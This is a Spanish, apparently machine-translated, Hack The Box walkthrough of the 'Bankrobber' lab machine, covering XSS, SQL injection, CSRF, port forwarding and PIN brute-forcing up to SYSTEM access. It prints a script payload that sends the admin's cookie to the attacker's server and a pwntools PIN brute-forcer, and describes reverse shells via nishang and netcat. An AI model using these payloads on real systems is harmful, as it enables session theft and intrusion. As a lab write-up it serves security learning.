Hack The Box. Tutorial Bankrobber. XSS, inyección SQL, CSRF, reenvío de puertos

imagen

Sigo publicando soluciones enviadas para su posterior procesamiento desde el sitio de HackTheBox . Espero que esto ayude al menos a alguien a desarrollarse en el campo de la seguridad de la información. En este artículo, robaremos las cookies del administrador del sitio a través de XSS, descubriremos el código mediante inyección SQL, obtenemos el shell a través del formulario de ejecución de comandos usando XSS y CSRF, sacaremos el puerto de Windows y giraremos el PIN de la aplicación de transferencia de dinero fácil usando pwntools.

La conexión al laboratorio es a través de VPN. Se recomienda no conectarse desde una computadora del trabajo o desde un host donde los datos importantes para usted estén disponibles, ya que termina en una red privada con personas que saben algo en el campo de la seguridad de la información :)

Información organizacional
Especialmente para aquellos que desean aprender algo nuevo y desarrollarse en cualquiera de las áreas de información y seguridad informática, escribiré y hablaré sobre las siguientes categorías:

  • PWN;
  • criptografía (criptografía);
  • tecnologías de red (Red);
  • inversa (ingeniería inversa);
  • esteganografía (Stegano);
  • WEB-.

, , , .

, , Telegram . , , .

. , - , .

Recon


Esta máquina tiene una dirección IP 10.10.10.154, que agrego a / etc / hosts.

10.10.10.154	bankrobber.htb

Primero, escaneamos puertos abiertos. Como lleva mucho tiempo escanear todos los puertos con nmap, primero haré esto con masscan. Escaneamos todos los puertos TCP y UDP desde la interfaz tun0 a una velocidad de 500 paquetes por segundo.

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.154 --rate=500

imagen

Ahora, para obtener información más detallada sobre los servicios que operan en los puertos, realizaremos un análisis con la opción -A.

nmap -A bankrobber.htb -p80,443,445,3306

imagen

El host tiene un servidor web y SMB, y MySQL también está disponible. SMB y MySQL no nos dan nada, así que mira la web.

imagen

El sitio web de Bitcoin se presenta donde podemos registrarnos.

imagen

Registremos e inicie sesión. Se nos proporciona un formulario para transferir fondos.

imagen

Después de completar una solicitud de prueba simple, recibimos un mensaje. Dice que el Administrador considerará nuestra solicitud de transacción y tomará una decisión.

imagen

Este es un gran indicio de XSS. Intentemos robar la cookie de administrador. Primero, implemente el servidor HTTP local.

imagen

Ahora ejecutamos la solicitud de transacción, especificando la siguiente carga JS como mensaje.
<script>new  Image().src="http://10.10.15.106/xss?param="%2bdocument.cookie;</script>

Por lo tanto, al intentar cargar una imagen, el script irá a esta dirección y, como parámetro, nos enviará cookies de la cuenta en la que se ejecutó el script (en este caso, el administrador).

imagen

Parece base64. Decodificamos y obtenemos el nombre de usuario y la contraseña del administrador.

imagen

Inicie sesión como administrador y vea las novedades para nosotros. Al enviar una cotización en el campo de búsqueda del usuario, obtenemos un error: hay una inyección.

imagen

Otro servidor solicita el comando dir.

imagen

Pero solo localhost responde.

imagen

Volvamos a la inyección SQL.

imagen

Determinamos el número de columnas y cuáles de ellas se muestran.

imagen

Por lo tanto, se muestran las columnas primera y segunda.

USUARIO


Después de sentarnos un poco, no encontramos nada interesante. Pasemos al módulo backdoorchecker. Encuentre un evento que responda a un clic de botón.

imagen

Vaya a la consola del navegador e ingrese el nombre de la función.

imagen

Seguimos el enlace a la función.

imagen

Y encontramos a dónde va la solicitud. Gracias a la inyección, podemos leer el archivo (la primera vez que adiviné la ruta xampp predeterminada).

imagen

Por lo tanto, el comando se ejecutará si la subcadena "dir" está presente en la línea. Esto nos permite enviar una cadena de comandos. Queda por tratar con uno, la solicitud debe venir de localhost. Recordamos XSS y la función callSys (), a la que podemos llamar para enviar una solicitud. Comprueba nuestra suposición.

imagen

Como el comando está completo, ejecutemos RCE usando el script Invoke-PowerShellTcp del paquetenishang .

imagen

RAÍZ


En primer lugar, llevamos a cabo la enumeración básica del sistema. Para esto utilizamos winPEAS .

imagen

De todos los resultados, nos aferramos al puerto abierto en localhost 910.

imagen

Veamos qué hay en él. Primero debes lanzar el puerto. Entre todos los programas, la solución más conveniente es el cincel . Ejecutar en host local y hosts remotos.

imagen

imagen

Ahora conéctese y vea qué hay allí.

imagen

Se requiere un código PIN de 4 dígitos. Lo solucionaremos.
#!/usr/bin/python3

def clear():
    sys.stdout.write("\033[F")
    sys.stdout.write("\033[K")

from pwn import *

for numb in range(10000):
    PIN = str(numb).rjust(4, '0')
    r = remote('127.0.0.1', 910)
    print("Find PIN: " + PIN, end="\r")
    clear()
    r.sendafter('[$] ', PIN+"\n")
    ans = r.recv()
    if b"Access denied" in ans:
        r.close()
        clear()
    else:
        print("[+] PIN found: " + PIN)
        print(str(ans, "utf-8"))
        break
    
r.interactive()


imagen

Encontramos el código PIN y se nos pide que ingresemos el monto de la transacción. Hacemos esto y no pasa nada.

imagen

La cantidad se transfiere a un programa que se ejecuta como administrador. Al no encontrar nada más, transferimos como suma una cadena de 100 caracteres.

imagen

imagen

Y vemos cómo la línea de lanzamiento del programa ha cambiado a parte de nuestra línea. Veamos desde qué índice sucedió esto.

imagen

Por lo tanto, si pasamos una línea con el nombre de otro programa, se ejecutará. Vamos a revisar.

imagen

imagen

imagen

Y la suposición es cierta. Para comenzar, descargue netcat.

imagen

Y ahora hagamos la conexión posterior.

imagen

imagen

Obtención de privilegios del SISTEMA.

Puedes unirte a nosotros en Telegram. Formemos una comunidad en la que haya personas con conocimientos en muchas áreas de TI, para que siempre podamos ayudarnos mutuamente en cualquier problema de seguridad de la información y TI.

All Articles